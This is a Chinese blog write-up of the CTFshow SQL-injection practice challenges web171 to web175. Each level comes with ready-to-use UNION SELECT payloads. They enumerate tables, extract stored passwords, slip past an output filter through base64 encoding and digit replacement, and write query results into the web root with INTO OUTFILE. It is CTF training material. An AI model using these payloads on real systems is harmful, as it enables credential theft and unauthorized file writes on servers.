CTFshow web(sql注入171-175)

本文讲述了在WebCTF挑战中,如何利用SQL注入技巧获取表名,绕过过滤函数,对密码进行Base64编码混淆,以及如何通过文件操作来提取隐藏信息的过程。
摘要由CSDN通过智能技术生成

                                                                 web171

还得先爆表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

注意这里已经提示你了,只要知道是ctfshow_user,就可以拿到flag

-1' union select 1,2,password from ctfshow_user where username = 'flag' --+

                                                                         web172

还是那个语句查询表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

然后接着一个个查询看看哪个表里面有flag,经测试,第二个表有flag 

-1' union select 1,2,password from ctfshow_user2 where username = 'flag' --+

                                                                        web173

还是那个语句查询表名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

那个过滤函数别被骗了,照样该怎么做怎么做 

-1' union select 1,2,password from ctfshow_user3 where username = 'flag' --+

                                                                    web174

根据upstream_yu大神的思路:

替换:将数据to_base64加密,然后将里面所有的数字用replace()替换

-1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),2,'testb') ,3,'testc') ,4,'testd') ,5,'teste') ,6,'testf') ,7,'testg') ,8,'testh') ,9,'testi') ,0,'testj') ,1,'testa'),replace(1,'1','testa') from ctfshow_user4 where username='flag'--+

base64解码就好

                                                                    web175

原理:把内容写入文件读取

 1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

 然后访问1.txt

ps:注意把ctfshow后面的都删去,改成1.txt

真心希望文章能够帮助大家,谢谢!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值